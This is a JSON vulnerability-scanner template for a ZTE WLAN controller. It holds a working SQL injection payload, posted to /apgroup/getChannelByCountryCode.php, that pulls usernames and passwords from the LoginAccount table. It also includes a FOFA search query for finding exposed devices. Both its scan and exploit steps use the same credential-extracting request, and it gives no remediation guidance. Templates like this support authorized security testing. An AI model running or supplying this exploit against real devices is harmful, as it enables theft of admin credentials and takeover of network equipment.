{
  "Name": "ZTE WLAN Controller SQLi to get admin password",
  "Description": "SQL injection vulnerability exists in ZTE wireless controller, which can obtain admin user password.",
  "Product": "ZTE-WLAN-Controller",
  "Homepage": "https://www.zte.com.cn/",
  "DisclosureDate": "2021-03-14",
  "Author": "itardc@163.com",
  "FofaQuery": "title=\"无线\" && title=\"控制器\" && title=\"中兴\"",
  "Level": "2",
  "Impact": "",
  "Recommendation": "",
  "References": [
    "http://fofa.so"
  ],
  "HasExp": true,
  "ExpParams": null,
  "ExpTips": {
    "Type": "",
    "Content": ""
  },
  "ScanSteps": [
    "AND",
    {
      "Request": {
        "data": "CountryCode=%27+union+select+UserName+%7c%7c+%27%7c%27++%7c%7c+PassWord+from+LoginAccount+--",
        "data_type": "text",
        "follow_redirect": true,
        "header": {"Content-Type": "application/x-www-form-urlencoded"},
        "method": "POST",
        "uri": "/apgroup/getChannelByCountryCode.php"
      },
      "ResponseTest": {
        "checks": [
          {
            "bz": "",
            "operation": "==",
            "type": "item",
            "value": "200",
            "variable": "$code"
          },
          {
            "bz": "",
            "operation": "contains",
            "type": "item",
            "value": "ChannelValue",
            "variable": "$body"
          },
          {
            "bz": "",
            "operation": "contains",
            "type": "item",
            "value": "admin",
            "variable": "$body"
          }
        ],
        "operation": "AND",
        "type": "group"
      }
    }
  ],
  "ExploitSteps": [
    "AND",
    {
      "Request": {
        "data": "CountryCode=%27+union+select+UserName+%7c%7c+%27%7c%27++%7c%7c+PassWord+from+LoginAccount+--",
        "data_type": "text",
        "follow_redirect": true,
        "header": {"Content-Type": "application/x-www-form-urlencoded"},
        "method": "POST",
        "uri": "/apgroup/getChannelByCountryCode.php"
      },
      "SetVariable": ["output|lastbody"]
    }
  ],
  "Tags": ["sqli"],
  "CVEIDs": null,
  "CVSSScore": null,
  "AttackSurfaces": {
    "Application": null,
    "Support": null,
    "Service": null,
    "System": null,
    "Hardware": ["ZTE-WLAN-Controller"]
  },
  "Disable": false
}